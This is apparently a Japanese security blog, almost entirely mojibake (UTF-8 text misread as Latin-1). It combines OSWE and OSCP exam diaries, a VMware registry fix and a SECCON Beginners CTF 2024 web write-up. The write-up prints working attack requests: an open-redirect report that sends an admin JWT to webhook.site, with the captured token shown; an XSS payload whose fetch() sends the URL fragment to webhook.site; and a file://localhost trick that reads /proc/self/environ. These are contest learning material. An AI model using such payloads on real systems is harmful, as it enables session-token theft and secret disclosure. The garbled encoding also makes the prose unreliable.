OSWEã«åæ ¼ãã(WEB-300)
OffSec Web Expert (OSWE) ã«åæ ¼ãã¾ããã
è²»ç¨ã¯OSCPã®æã¨åæ§ä¼ç¤¾ã«åºãã¦ãããã¾ããã
Webãä»ã¾ã§ä¸çªè§¦ãã¦ããåéã ã£ãã®ã§è½ã¡ãããªãã¨ããæ³ããå¼·ãã£ãã®ã§ããããªãã¨ãä¸çºã§åãã£ã¦ããã¨ãã¦ãã¾ãã
5æ
ã´ã¼ã«ãã³ã¦ã£ã¼ã¯æããããæç§æ¸èªã¿ãå§ãã¾ããã
æ¬å½ã¯ã´ã¼ã«ãã³ã¦ã£ã¼ã¯ã«é²ãããã£ãã®ã§ãããä¼ç¤¾ã¸ã®ç³è«ãé ããªã£ã¦ãã¾ãæ念ã
ãã®ä»£ããã´ã¼ã«ãã³ã¦ã£ã¼ã¯ä¸ã¯ãã²ãããã®ãªãé ã«ããä¸æ°è¦ã§ããã®ã§æºè¶³ãã¦ãã¾ãã
7æã®3é£ä¼ã§åé¨ããã®ãä¸çªã ã¨æããããã«äºç´ãããã¾ããã
å§ãã®3é±éãããã¯ã¡ã¾ã¡ã¾ã¨æç§æ¸èªã¿ï¼ã¨æãåããã¦ç¢ºèªï¼ããã¦ããã®ã§ãããéä¸ã§è¬ã«ããæ°ãã§ãªããªã£ã¦ãã¾ãããã®å¾3é±éãããå ¨ãæãä»ãã¦ãã¾ããã§ããã
ã¡ãªã¿ã«ãOSCPã®æã¨éã£ã¦ãå°ç¨ã®Kali VMãç«ã¦ããã¯ããªãã§WSL2+Windows Terminalã§ãã£ã¦ãã¾ãããBurp Suiteãã触ããã°åºæ¬ã©ãã«ããªãã®ã§ã
6æ
æµç³ã«ã¤ããã¨æãã6æä¸ç¤ããåéã
çéã§æç§æ¸èªã¿ãçµãããã¦ãé±æ«ã¯Labããã£ã¦ãã¾ããã
Extra Milesã¯æéãç¡ãã£ãã®ã§ãã£ã¦ãã¾ããã§ãããã骨ã®ããåé¡ãçµæ§ããããã ã£ãã®ã§ãæéãããã°ãã£ãæ¹ãåã«ãªãã¨æãã¾ãã
Labã¯ãã£ããPoCã¾ã§æ¸ããã®ã§ããããããä¸çªè©¦é¨ã§å½¹ã«ç«ã¡ã¾ããã
ãªãã¼ã¹ã·ã§ã«ãWebãµã¼ãã¼ãPythonä¸ã§ããç¹°ãããã®ã¯1ããä½ãã¨é¢åãããã®ã§ç¨æãã¦ããã®ãåã§ãã
7æ
ã®ãªã®ãªè©¦é¨ã®åé±ã«ãLabã3ã¤ã¨ã解ãçµããã¾ããã
試é¨ã¾ã§ã¯èªåã®ä¸ã§ç解ãæªããããã·ãªã¢ã©ã¤ãºç³»ã¨PrototypePollutionã復ç¿ãã¦ãã¾ããã
試é¨æ¬çª
7/12 19:00
ç飯ã«è«ãå ¥ã£ã¦ã¦ãªããããææª
— ãã¾ã (@amame04) 2024å¹´7æ12æ¥
ä½ã大ããªå£°ã§è¨ãã¤ããã¯ãªãã§ãããè²·ã£ã¦ããç飯ã«è«ãå ¥ã£ã¦ãããææªã®é£äºä½é¨ã§ããã
7/12 23:00
æ°ãåãç´ãã¦ãéå§ãã¾ããã
3é£ä¼ã¯çµæ§äººæ°ã§ããã®æéããããåããªãã£ããã§ãããã
7/13 3:00
1å°ç®ã®Auth Bypassãã§ãã¾ããã çµæ§è¤éã ã£ããã§ãããäºåã«ç¨æãã¦ãã¹ã¯ãªãããä¸æãå½¹ç«ã£ã¦ããã¾ããã
7/13 4:30
1å°ç®ã®RCEãåãããã§åãããçµå±å°±å¯ã
7/13 10:30
èµ·åºãåéã
ãã¤ãã¯åæ¥ãªã10æéãããå¯ã¦ã¦ããããããªããã§ããã試é¨ä¸ã¯ç·å¼µãã¦ããã®ããèªç¶ã¨5~6æéã§èµ·ãã¦ãã¾ãã¾ãã
7/13 11:30
2å°ç®ã®Auth Bypasséæã
ãã¡ãã¯1å°ç®ã¨æ¯ã¹ã¦çµæ§åç´ã§ããã
7/13 15:40
1å°ç®ã®RCEéæã
å¤ãªæã«å¼ã£ããã£ã¦ããã ãã§ãå·éã«ãªã£ã¦ã¿ãã°ç°¡åã«åãã¾ããã
ã¨ãããã¨ã§éå§ããç´17æéã§åæ ¼ç¹ã«ã¯å°éã§ãã¾ããã OSCPã¨æ¯è¼ãã¦æéçãªä½è£ãããã®ã§ã試é¨ä¸ã®ç¦ãã¨ãã¯ç¡ãã£ãã§ãã
ãã ã2å°ç®ã®RCEãã¨ã¦ãé£ãããå ¨ç¶è§£ãã¾ããã§ããã
7/13 23:24
Chromeãã¯ã©ãã·ã¥ãã¦ãã¦ã§ãã«ã¡ã©ãç»é¢ã®å ±æãã§ããªããªãã¾ããã ã¨ã¦ãç¦ã£ãã®ã§ããFirefoxã«å¤ãããã¨ã§äºãªããå¾ã¾ããã
ããMozilla財å£~
7/14 4:00
å°±å¯ã
7/14 9:30
èµ·åºã2å°ç®ã®RCEãåããªãã
ã¬ãã¼ãæ¸ãã¦ãè¯ãããªã¨ã¯æã£ã¦ãããã§ããã2å°ç®ã®RCEãåããªãã®ãæããããªããªã諦ãããã¾ããã
7/14 17:00
RCEãéçã¯è¦ãã¦ããã®ã§ãããæå¾ã®æå¾ãåããããçµå±è«¦ãã¦ã¬ãã¼ãä½æã«ç§»ãã¾ãã
ç§ãã©ããããã¼ã«ããæãåºãã¦ããªãã ãã§ãæ³å®è§£æ³ã¯å ¨ãéã£ãå¯è½æ§ãããã¾ããâ¦â¦ã
7/14 22:45
試é¨çµäºã
æå¾ã®RCEãåããªãã£ãã®ãæãããã¬ãã¼ãããæ°ããã¾ãåºãâ¦â¦ã
åç´ã«è§£æ³ãè¤éã§ã ããã£ãã¨ããã®ãããã¾ããã
7/15 3:00
å°±å¯ã
7/15 12:00
èµ·åºã ä¹ ãã¶ãã«ã¨ã¦ãããå¯ãã¾ãããã ãã ãã¨ã¬ãã¼ããæ¸ãã¦ããã¾ãã
7/15 19:00
ã¬ãã¼ãæåºã
ã¨ãã«æ¨æ²ã¨ãé¢åãããã¦ãããªãã£ãã§ãã
çµãã£ãå¾ã1人ã§ã¡ãã£ã¨é£²ã¿ãªãããæ°æµ·èª ã®æé«åä½ã§ããï¼ç°è«ã¯èªããªãï¼ãç§éï¼ã»ã³ãã¡ã¼ãã«ããè¦è¿ãã¦ãã¾ããããã£ã±æ°æµ·èª ã®ç¥é«ã¯ããã§ãããã
é 飲ã¿ãªããæ°æµ·èª ã®æé«åä½ã§ããç§é5ã»ã³ãã¡ã¼ãã«è¦ã¦æ»ãã§ã
— ãã¾ã (@amame04) 2024å¹´7æ15æ¥
7/16 13:00
ãã¼ã¿ã«ã«åæ ¼è¡¨ç¤ºã
ãªããã¼ã¿ã«ã®åæ ¼è¡¨ç¤ºã¯ãããªã«æ©ãã®ãâ¦â¦ã
7/16 19:25
åæ ¼ã¡ã¼ã«åä¿¡ã
ãã£ãã¼ã
ã¾ã¨ã
2ã«æãããã§é 調ã«åããã®ã§ããã£ãã§ãã
å人çã«ã¯OSCPãããç°¡åã§ãããã½ã¼ã¹ã³ã¼ããèªããã®ã¯ãã«ãã§ããã
å®éãåæ ¼ããã®ã¯ããã»ã©é£ãããªãã¨æãã¾ãããªãã1åé£æ度調æ´ãã¹ã£ã¦ãRCEåãããã¾ãããããã解ãããã£ãã§ããï½ã
ãªã«ã¯ã¨ãããåæ ¼åºæ¥ã¦ããã£ãã§ãã
SECCON Beginners CTF 2024 Writeup
ã¡ããã¨CTFããã®ã1å¹´ã¶ããããã ã£ãã®ã§çµæ§æ¥½ããã¾ããã
webã«çµã£ã¦è§£ãã¦ããã®ã§ããã3åã§åå°½ãã¦ãã¾ãmiscã1ã¤è§£ãã¾ããã
web
wooorker
adminã®JWTãåãåé¡ã
JWTã®çæéç¨ã¯å
ããã ã£ãã®ã§ã/report
ããJWTã奪ãæ¹éã
ãã°ã¤ã³ãã©ã¼ã ã®ãªã¼ãã³ãªãã¤ã¬ã¯ããæªç¨ãã¦ãwebhook.site
ã«æããã
POST /report HTTP/1.1 Host: wooorker.beginners.seccon.games Content-Length: 80 Content-Type: application/json Connection: keep-alive {"path":"login?next=https://webhook.site/eaea36b3-243a-4e64-acb6-0adf440fe779/"}
æ°ç§å¾ãã¬ã¹ãã³ã¹ãè¿ã£ã¦ãããï¼ã³ã³ãã¹ãä¸ã¯çµæ§è¾¼ã¿åã£ã¦ãã¾ããï¼
ãã®tokenã使ã£ã¦ã¢ã¯ã»ã¹ããã°ããã
https://wooorker.beginners.seccon.games/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDM4MzQ4LCJleHAiOjE3MTg0NDE5NDh9.yMEeKHcN9Q3mouWSVi5P135inigZMnO-Qy-J3rZqF4o
ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}
ssrforlfi
LFI(?)ãSSRFãRCEãã§ããããªåé¡ã
# Allow only a-z, ", (, ), ., /, :, ;, <, >, @, | if not re.match('^[a-z"()./:;<>@|]*$', url): return "Invalid URL ;(" # SSRF & LFI protection if url.startswith("http://") or url.startswith("https://"): if "localhost" in url: return "Detected SSRF ;(" elif url.startswith("file://"): path = url[7:] if os.path.exists(path) or ".." in path: return "Detected LFI ;(" else: # Block other schemes return "Invalid Scheme ;(" try: # RCE ? proc = subprocess.run( f"curl '{url}'", capture_output=True, shell=True, text=True, timeout=1, ) except subprocess.TimeoutExpired: return "Timeout ;(" if proc.returncode != 0: return "Error ;(" return proc.stdout
ç°å¢å¤æ°ã«FLAGãå ¥ã£ã¦ããä¸ã§ããã«ãã¦ä¸è¨ã®ã³ã¼ãããèªã¿åºãã®ãã¨ãããã¨ã
SSRFãã¦ããªãã®æå³ãç¡ãããã ããcurlã®å¼æ°ã'
ã§å²ããã¦ãããæå種å¶éãå³ãããã§fileãããã³ã«ã使ããããªãã
ç°å¢å¤æ°èªä½ã¯/proc/self/environ
ã§ç¢ºèªã§ããã
ãã ãos.path.exists
ã®ãã§ãã¯ã«å¼ã£ãããã¨ãããªãã®ã§ãã©ãã«ã工夫ããªãã¨ãããªãã
ã¾ãã§æ²¼ã£ããã§ãããRFC 1738 - Uniform Resource Locators (URL)ãã¿ããfile://localhost/
ã使ããäºãåãããã¯ãªã¢ã
GET /?url=file://localhost/proc/self/environ HTTP/1.1 Host: ssrforlfi.beginners.seccon.games
ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}
wooorker2
åè¿°ã®wooorkerã¨ã»ã¼åãã
ãã ãGETãã©ã¡ã¿ã§ã¯ãªã#ã使ã£ã¦æ¸¡ãã¦ããã®ã§ãä¸æ¦location.hash
ã§æ½åºããªãã¨ãããªãã
<script> fetch('https://webhook.site/eaea36b3-243a-4e64-acb6-0adf440fe779?'+location.hash.replace('#', '')) </script>
ä¸è¨ã®ãã¡ã¤ã«ãGistã«ãããgithackçµç±ã§å®è¡ãããã
POST /report HTTP/1.1 Host: wooorker2.beginners.seccon.games Content-Type: application/json Connection: keep-alive Content-Length: 142 {"path":"login?next=https://gist.githack.com/amame04/3ba451aecf55bf96e21096d0aef24c7d/raw/33353b6888aead1dceec2a34a95f965c24cb0143/test.html"}
ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}
misc
getRank
webã®beginneråãã¨æã£ãã®ã§è§£ãã¾ããâ¦â¦ã
10 ** 255
ãã大ããå¤ãæããå¿
è¦ãããããæ¡æ°å¶éããã10é²æ°ã§ã¯é£ãããã»ãª16é²æ°ä½¿ããã
POST / HTTP/1.1 Host: getrank.beginners.seccon.games Content-Length: 312 Content-Type: application/json Connection: keep-alive {"input":"0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"}
ctf4b{15_my_5c0r3_700000_b1g?}
çµ
Webåã®è¡¨å±¤ãã触ããªãã¦æããã§ãã
double-leaksã¯ç²ã£ããã§ãããmongodbã§Stringå士ã$gtããæã®æåã«æ°ä»ããªãã£ãâ¦â¦ã
flagAliasãdouble-leaksã解ãã¦ãããã®ã¾ã¾ã®ãã³ã·ã§ã³ã§ããã¡ãã£ã¨ç²ãããããããªãâ¦â¦ã
htmlsã¯Writeupè¦ã¦ç´ ç´ã«é¢ç½ãã¨æãã¾ããããã®ãããªåé¡ãwebã®ééå³ã ã¨åæã«æã£ã¦ãã¾ãã
ä¹ ãã¶ãã®CTF楽ããã£ãã§ãã
VMware Workstationãã¤ã³ã¹ãã¼ã«å¾ãããã®ããã¤ã¹ã®ã¯ã©ã¹æ§æã®ã»ããã¢ãããã¾ã å¦çãã¦ãã¾ãã(ã³ã¼ã56)ãã¨ãªãåé¡ã®å¯¾å¦æ³
åèï¼
- https://www.reddit.com/r/vmware/comments/18wumeh/error_code_56_on_networks_adapters_vmware_player/
- https://www.reddit.com/r/computers/comments/xhk74q/pc_will_not_accept_any_internet_adapter_giving/?rdt=40122
対å¦æ³ï¼
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{3d09c1ca-2bcc-40b7-b9bb-3f3ec143a87b}
ããã¼ãã¨åé¤- VMwareé¢é£ã®ãããã¯ã¼ã¯ã¢ããã¿ã¼ãåé¤
- åèµ·å
ã§è§£æ±ºãããã¾ãã§ãããã¨ãã
OSCPã«åæ ¼ãã (PEN-200 2023)
OffSec Certified Professional (OSCP) ã«åæ ¼ãã¾ããã
è²»ç¨ã¯ä¼ç¤¾ã«åºãã¦ããã£ã¦ããã®ã§ç§ã¯1éãæããªãã£ãã®ã§ãããè½ã¡ãã¨ãã®ååé¨æã«ã¤ãã¦ã¯ç¹ã«èãããã¦ããªãã£ãã®ã§å¤ååºãªãã®ã ã¨æãã¾ãã
ã¾ãã¤ã¾ããªãã¨ã1åã§åãããã¨ãã§ãã¾ããã
8æ
2023å¹´ã®9æããOSCPã«ææ¦ããã¨æ±ºãããããããã¾ã§Hack The BoxãããããADã«ã¤ãã¦åå¼·ããããã¦ãã¾ããã
HTBã«ã¤ãã¦ã¯ãã¡ãã®è¨äºã«ãæ¸ãã¦ãã¾ãã amame.hateblo.jp
ã¾ããTryHackMeã®ADã¢ã¸ã¥ã¼ã«ã8å²ãããããã¾ãããåºæ¬TryHackMeã®VPNã«æ¥ç¶ãã¦WindowsãRDPã§æä½ããã®ã§ããããªããªãéããã¦è¾ãã£ãã§ãã
ãã¨ã¯ãããããããããã¨ããæ¬ãèªã¿ã¾ããã
ä»ã®OSCPåé¨è¨ã§èæ¸ã¨å¼ã°ãã¦ããã®ã§èªãã§ã¿ãã®ã§ãããã¨ã¦ãåãããããã£ãã§ãã
TryHackMeã§ADã®åºç¤ãå¦ãã§ãããããããããã§æ»æã«ã¤ãã¦å¦ã¶ã¨ããã®ã¯èªåã¨ãã¦ã¯ã¨ã¦ãè¯ãã£ãããªã¨æãã¾ãããããã§OSCPã®éãããæéã§èºããã«æ¸ã¿ã¾ããã
ADã®åºç¤ã«ã¤ãã¦ã¯TryHackMeãããããææãããããããã¾ããã
9æ
3ãæã®ã³ã¼ã¹ãã¹ã¿ã¼ããã¾ããã
9æååã¯å¦æ ¡ãç¡ãã£ãã®ã§ãã®éã«çµæ§é²ãããã£ãã®ã§ããæã£ããããææã¯åºã¾ããã§ããã ã¢ã¸ã¥ã¼ã«1ã¤1ã¤ã«éª¨ããããæ³å以ä¸ã«å¤§å¤ã§é£ç¶ãã¦ããã«ã¯éä¸åã足ããªãã£ãã§ãã
ã¾ãããã«é¢ãã¦ã¯ç§ã®ç²¾ç¥åã¨ä½åä¸è¶³ã§ããã
çµå±æç§æ¸èªã¿ã¨Exerciseã¯18æ¥ããã¦çµãããã¾ããã ãã£ã¨æ¬çªã¨ãè¨ãããChallenge Labã®æ»ç¥ã«å ¥ãã¾ãã
ãããããã¸ãããå¦æ ¡ãå§ã¾ãã¾ãããæçµå¦å¹´ã®å¾æãªã®ã§æã ãæã£ã¦ãããã§ãããã£ã¡ãå¿ããã£ãï¼æ³£ï¼
ãªã®ã§åºæ¬çã«å¹³æ¥ã¯ã»ã¨ãã©é²ããªãã£ãã§ãã
OSCPã¯1æ¥3æé以ä¸åå¼·ããã¹ãã¨ããè¨èª¬ï¼ç§èªèº«ã¯è³æ ¼åæ ¼ã®ããã®åå¼·éã¯å½äººã®ããã¯ã°ã©ã³ãã«å¤§ããä¾åããã ãã¨æã£ã¦ãã¾ããï¼ãããè¦ãããã®ã§ãç¦ç¥æã¯æãã¦ãã¾ããã
10æ
ã²ãããChallenge Labãé²ãã¦ãã¾ããã
ã¨è¨ãããã¨ããã§ãããåè¿°ã®éãå¦æ ¡ãå¿ããåºæ¬çã«åæ¥ã«ããã§ããã10æ15æ¥æç¹ã§57åä¸25åã¨ããè¨é²ã§ããã
ADã¯DCãã侵害ã§ããã°èã¥ãå¼ã«åä¸ã®ãã·ã³ã¸ã®ã¢ã¯ã»ã¹æ¨©ãå¾ãããã®ã§ãæã£ãããã楽ã§ããã
ã¾ãããã¹ãã¼ããç³è«ãã¦ãã¾ãããç§å«ãå¤ãã®æ¥æ¬äººã¯æå¹ãªæ¬äººç¢ºèªæ段ããã¹ãã¼ããããªãããã試é¨ã¾ã§ã«åå¾ãã¦ããå¿ è¦ãããã¾ãã
OffSecã«èº«éãåããã¨ã¯ããã¾ããã§ãããã10å¹´ç¨ãã¹ãã¼ãã®åå¾ã«1ä¸6ååç¨åº¦ãããã¾ããã
10æ28æ¥~29æ¥ã§æ¨¡æ¬è©¦é¨ã®ãããªäºãããã¾ãããçµæã¯æ¨æã§ããããã¬ãã¼ãã¾ã§ãã£ããæ¸ããã®ã§çµæ§èº«ã«ãªãã¾ããã
æ¬çªã§ã¬ãã¼ããæ¸ãã¦çµæ§æéãããã£ãã¨ãã人ããããã§ããè¦ãã®ã§ããã1åæ¸ãã¦ããã ãã§æ¬¡ããã¯ãµã¯ãµã¯æ¸ããããã«ãªãã®ã§ãã¬ãã¼ããå°ãªãã¨ã1åã¯ç·´ç¿ã§æ¸ãã¦ãããã¨ããå§ããã¾ãã
11æ
Challenge Labã§ããæµ·å¤ã®ä½é¨è«ãRedditãè¦ã¦ããã¨Proving Groundsã¨ãããã£ã¦ããæ¹ãå¤ãæãã§ããããPEN-200ã®å¥ç´æéä¸ã¯ãã£ã¡ãåªå ãã¹ãã¨ã®æ稿ã«ç´å¾ãããããåºæ¬çã«æãä»ãã¾ããã§ããã
11æã«å ¥ã£ãããããããã¬ãã·ã£ã¼ã大ãããªããä½é¨è¨ãRedditã®æ稿ãèªã¿æ¼ã£ãããã¦ãã¾ããã対ãã¦æå³ã¯ç¡ãã£ãã¨æãã¾ãã
11æ30æ¥ã«Labã¸ã®ã¢ã¯ã»ã¹æ¨©ã失å¹ããæçµçã«57åä¸46åã®ãã·ã³ã®proof.txtãæåºãã¾ããã
12æ1æ¥ã¯ãProving Groundsã§1ã¤ã®ãã·ã³ãã¦ã¼ã¶ã¼æ¨©éã¾ã§åå¾ãã¾ãããç¹æ¨©ææ ¼ã¾ã§ããããã£ãã®ã§ããããéãæã£ã¦ããªãã£ãã®ã§3æéã®æéå¶éãæ¥ã¦ãã¾ã諦ãã¾ããã
試é¨éå§ã¯12æã®2æ¥ï¼åï¼ã®11æã«è¨å®ãã¦ãã¾ããã
試é¨æ¬çª
12æ2æ¥ 10:40
portalã«ãã°ã¤ã³ãã¾ããã
試é¨éå§15åã¾ãã«ãã°ã¤ã³å¯è½ã«ãªãã¨èª¬æããã¦ããã®ã§ãããå®éã¯ããå°ãæ©ãããã§ãã
ç»é¢å ±æã¨ã¦ã§ãã«ã¡ã©ã®å ±æã«å°ãèºãã¾ãããã¾ããã¢ãã¿ã¼ã¯3å°ç¨æãã¦ããã®ã§ããã3å°ã¨ããããã¯ã¼ã¯è¶ãã«å ±æããã®ã«çµæ§æéããããã¾ããã
ã¾ããiVcamãã¤ã³ã¹ãã¼ã«ãã¦ããã®ã§ãããportalä¸ã§ã¡ã¤ã³ã®ã¦ã§ãã«ã¡ã©ãiVcamã«ãªã£ã¦ãã¾ãããããå¤æ´ããæ¹æ³ãåãããï¼å¤åãªãï¼çµå±ã¢ã³ã¤ã³ã¹ãã¼ã«ãããã¨ã«ãªãã¾ããã
ã¹ããçãã¦ã§ãã«ã¡ã©ã«ãã¦ä½¿ãäºã¯ç¦æ¢ããã¦ããã®ã§ãã¡ããã¨ããã¦ã§ãã«ã¡ã©ãå¿ è¦ã§ããæ®æ®µç§ã¯ãã©ã¼ã¬ã¹ä¸ç¼ã¬ããã¦ã§ãã«ã¡ã©ã¨ãã¦ä½¿ã£ã¦ãã¾ãããã大äºãã¨ã£ã¦ankerã®7ååç¨åº¦ã®ã¦ã§ãã«ã¡ã©ãè³¼å ¥ãã¾ããã
11:02
åè¿°ã®ãããªãã¨ãããã2åé ãã¦ã¹ã¿ã¼ããã¾ããã
æ¦ç¥ã¨ãã¦ã¯ãADæ»ç¥ï¼ç¬ç«LocalÃ3+ãã¼ãã¹ãã¤ã³ãã®80ãã¤ã³ãã§åæ ¼ãããã¨æã£ã¦ãã¾ããã
ãªã®ã§ã¾ãADã®æ»ç¥ãé²ãã¾ããã
18:00
7æéããã¦ãªãã®é²æãããã¾ããã§ããã
ADã®åæ侵害ãããªãã®ç³¸å£ãè¦ã¤ãããã¾ããã§ããã
ãã®æç¹ã§ç¶æ³ã¯çµ¶æçã§ããä¸åæ ¼ã確信ãã¦ãã¾ããã
åã°è«¦ãã¦ããç§ã¯ãç£è¦ããã¦ããä¸OSCPã®ä¸åæ ¼ä½é¨è¨ãèªã¿ãèªããæ °ããæ¹åã«èµãåãã¾ãããä»æãã¨è©¦é¨ä¸ã«ä½é¨è¨èªãã®ã¯ãªããªããªã¹ãã¼ãªè¡çºã§ããã
ãããããã¿ãã¬ãå«ã¾ãã¦ããå ´åã«ã³ãã³ã°æ±ãããã¦ããããããªãã®ã§ã
å®å ¨ã«ç²¾ç¥ã¯éè½ã¡ãã¦ããç§ã¯ããã¤ãã®ä½é¨è¨ã»Redditãæ¼ã£ãå¾ã以ä¸ã®è¨äºã«åºåãã¾ãã
ããã¯OSCPã«2åè½ã¡ãçè ã3åç®ã§åæ ¼ãã話ã§ãã
æ訳ã§ãããéä¸ãããªè©±ãæ¸ãã¦ããã¾ããã
OSCPã«2åè½ã¡ãçè ããã³ãã¹ã¿ã¼ã®æ±äººã«å¿åãé¢æ¥ãåãã¾ãã
é¢æ¥å®ããOSCPã«åæ ¼ãããã¨èãããæ¥ããããªããããããã2åè½ã¡ã¾ãããã§ãã¾ã ææ¦ä¸ã§ãããã¨çãã¾ããã ããã¨é¢æ¥å®ã¯ç¬ã£ã¦ãã¸ã¥ãã¢ã®ã»ã¨ãã©ã¯OSCPã«ææ¦ãããã¦ããªããããªãã®æ¹ãå ãè¡ã£ã¦ãããã¨è¿ãã¾ããç¶ãã¦ãç§ã¯åæ ¼ããã¾ã§ã«7åè½ã¡ãããã¨è¨ãã®ã§ãã ç§ã¯é©ããããã¦ãããçªç ´å£ã«ãªãã¾ããã
7åãè½ã¡ã人ãããã®ãã¨ç§ãé©ãã¾ããããããã話ãèãã¨ã1åãããè½ã¡ã¦ãå¹³æ°ã ã¨æ¥½è¦³çãªæ°æã¡ã«ãªãã¾ããããã¦æç« ã¯ä»¥ä¸ã®ããã«ç¶ãã¾ãã
ãã®è©¦é¨ã¯æåããããããã®ã§ããããªããç ´æ» ãããããªããå®èãªãã¾ã§ã«æã¡ã®ãããè² ãç¬ãæ·æ±°ããããã«ä½ããã¦ãããåªåãç¶ããææ¦ãç¶ããéããç§ãåæ ¼ã§ããã®ã ã¨æã£ãã失æã¯é²æ©ã§ããããããç解ããã®ã«æéãããããããã失æãã¦ãããã®å¤±æããå¦ã¹ãã°ãããã¯å¤±æã§ã¯ãªãï¼æ¬å½ã®å¤±æã¯ææ¦ãããããã¨ã§ããã失æãç¶ããï¼ããã¦å ¨ã¦ãå¤ãã£ãã
å®å ¨ã«å®è¥¿å çã§ãããããããããããã§è©¦åçµäºã§ãããã¨ãã声ãããã¾ã§ãããããç¶æ³ã¯ããã§ããããã
ç§ã¯ãã®æã¾ã§ãç²¾ç¥è«ã¨ãããã®ãå®å ¨ã«é¦¬é¹¿ã«ãã¦ãããã¨ãè¬ããã°ãªãã¾ããã
ãã¡ããé©æé©æã§ã¯ããã¾ãããæ°æã¡ã®åã¨ããã®ã¯ãããªã«ã大ãããã®ãªã®ãã¨èº«ããã£ã¦å®æãããã¨ãã§ãã¾ããã
ããã»ã©ã¾ã§ã«ç§ã¯ãã®æç« ãèªãã§èªä¿¡ãã¤ãããã¨ãã§ããã®ã§ãã
ããç§ã試é¨ä¸ã«ãã®æç« ã«åºåã£ã¦ããªããã°ãéä¸ã§è«¦ããåæ ¼ãã¦ããªãã£ãããããã¾ããã
ç§ã¯ãã®æç« ã«æè¬ãã¦ãããããªãã»ã©æããã¾ããã
ã¾ãããã®ãããªè¨è¿°ãããã¾ããã
Donât overthink it. OSCP is using publicly known vulnerabilities with publicly known exploits.
èãããããªãOSCPã¯æ¢ç¥ã®ã¨ã¯ã¹ããã¤ãã§æ¢ç¥ã®èå¼±æ§ã使ãã ãã ã
ãã®æç« ãèªãã æç¹ã§ç§ã®æ°æã¡ã¯ãç¬ç«Ã3 + ãã¼ãã¹ãã¤ã³ãã®åè¨70ãã¤ã³ãã§åæ ¼ããæ¹åã¸ã¨åãæ¿ãçµãã¦ãã¾ããã
7æéä½ãã§ããªãã£ãããã£ã¦ãªãã ã23æé45åã®è©¦é¨ã ãããã¨16æé以ä¸æéã¯æ®ã£ã¦ãããããªãããRedditã ã¨12æé以å ã«å ¨å®ãã奴ã ã£ã¦çãããªãã21æéADã侵害ã§ããªãã¦ã3æéã§ç¬ç«3å°æ»ç¥ãã¦åãã£ã奴ã ã£ã¦ãããã¾ã ãã£ã³ã¹ã¯æ®ã£ã¦ãããï¼ãããããããã
19:30
ç¬ç«1åç®Localåå¾ã
ãã®å¾ä¸æ¦é¢¨åã«å ¥ã£ãã®ã§ãããæãé¡ããã¾ããã°éãã¨ãã£ãç¶æ³ã§ãå·éã«è¦ãã°8æé以ä¸ããã¦10ãã¤ã³ãããåå¾ãã¦ããªãã¨ãããã試é¨ã«åæ ¼ãããã®ãããªæ°æã§æ¹¯è¹ã«ã¤ãã£ã¦ãã¾ããã
20:15å
風åããåºã¦ãç¬ç«1åç®Rootåå¾ã
23:20
ç¬ç«2åç®ã®Localåå¾ã
12æ3æ¥ 00:25
ç¬ç«2åç®Rootåå¾ã
01:05
ç¬ç«3åç®Localåå¾ã
01:30
ç¬ç«3åç®Rootåå¾ã
ãªãã¨æ¹éãå¤ãã¦ãã7æéç¨åº¦ã§ç¬ç«ãå ¨ã¦è§£ããã¨ãã§ãã¾ããã
ãã®æã»ã©å¬ããã£ããã¨ã¯äººçã§ãã»ã¨ãã©ãªãã§ããããã¬ãããã¼ãºãä½åããã¦ãã¾ãããæ·±å¤ã§ãªãã£ããéå«ã³ãä¸ãã¦ããã¨æãã¾ãã
ãã®å¾ã¯è¨¼è·¡éãããã3æåããã«å°±å¯ãã¾ããã
07:00
ã¢ã©ã¼ã ãªãã§èµ·åºãã¢ã©ã¼ã ã¯ä¸å¿7æåã«è¨å®ãã¦ãã¾ããã
ã¬ãã¼ããä½æãã¤ã¤ADãè¦ã¾ããé²å±ã¯ãªãããã®æç¹ã§ã¬ãã¼ãã«ä¸åããªããã°åæ ¼ã§ãããã¨ãåãã£ã¦ããã®ã§ã¶ã£ã¡ããADãããæ°ã¯èãã¦ãã¾ããã
10:30
15åæ©ãã«çµäºãã¾ããã
14:50
ã¬ãã¼ããæåºã
ã¡ãªã¿ã«ã¬ãã¼ãã§ãããä¸äººç§°I + éå»å½¢ã®å½¢å¼ã§é²ãã¾ããããã³ãã¬ã¼ãã¯ä¸äººç§°Johnã使ããã¦ãã¾ããããä¸äººç§°ã§ã¬ãã¼ããæ¸ããã¨ããæ¥æ¬äººã®ä½é¨è¨ã確èªã§ããã®ã§å¤§ä¸å¤«ã ããã¨ããå¤æã§ãã
Iãå¤ç¨ããã®ã¯æµç³ã«è¯ããªãããªã¨æããThe result showed ~ ã¿ãããªæãã¡ããã¡ããæãããã«ãã¾ããã
å®å ¨ã«æ©æ¢°ç¿»è¨³ã«é ¼ã£ã¦ã¬ãã¼ããé²ãã¾ãããã
16:35
OffSecã«ãã°ã¤ã³ãããExamã®ã¨ããã«ãåæ ¼ãããã¨ãã表示ãããã¾ãããæµç³ã«æ©ããã ã¨æãã®ã§ãããããã¯æ«å®ã¿ãããªãã®ãªã®ã§ãããã
12æ4æ¥ 15:20
ã¬ãã¼ãæåºãã24æé30åå¾ãã¡ã¼ã«ã§åæ ¼éç¥ã¨è¨¼ææ¸ã®æ¡å ãæ¥ã¾ããã ã¦ã§ããµã¤ãã®è¡¨ç¤ºãæ©ããã¦ä¿¡ç¨ããããªãã£ãã®ã§ãæ£å¼ã«è¨¼ææ¸ãè²°ãã¦ãã£ã¨å®å¿ã§ãã¾ããã
ã¾ã¨ã
